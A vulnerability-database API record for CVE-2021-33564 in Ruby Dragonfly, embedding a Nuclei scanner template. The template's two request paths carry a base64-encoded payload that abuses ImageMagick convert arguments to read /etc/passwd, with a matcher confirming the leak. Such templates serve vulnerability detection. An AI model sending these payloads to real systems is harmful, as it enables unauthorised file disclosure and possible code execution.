{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-33564/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-33564/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-33564/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-33564/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-33564/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-33564"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-33564"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-33564.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-33564\n\ninfo:\n  name: Ruby Dragonfly <1.4.0 - Remote Code Execution\n  author: 0xsapra\n  severity: critical\n  description: Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability.\n  reference:\n    - https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/\n    - https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0\n    - https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5\n    - https://github.com/mlr0p/CVE-2021-33564\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-33564\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-33564\n    cwe-id: CWE-88\n    epss-score: 0.72143\n    epss-percentile: 0.99406\n    cpe: cpe:2.3:a:dragonfly_project:dragonfly:*:*:*:*:*:ruby:*:*\n  metadata:\n    max-request: 2\n    vendor: dragonfly_project\n    product: dragonfly\n    framework: ruby\n  tags: cve2021,cve,rce,ruby,injection,dragonfly_project,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ==\"\n      - \"{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ==\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100dec124758e8db596ac3e21db5b1254ea53aadd41cc97176af3900716a807e3750220647ee8ca214d623e33c41b098a9b03c34b39343fe8016f79a4c37033720eb6ee:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-33564"
}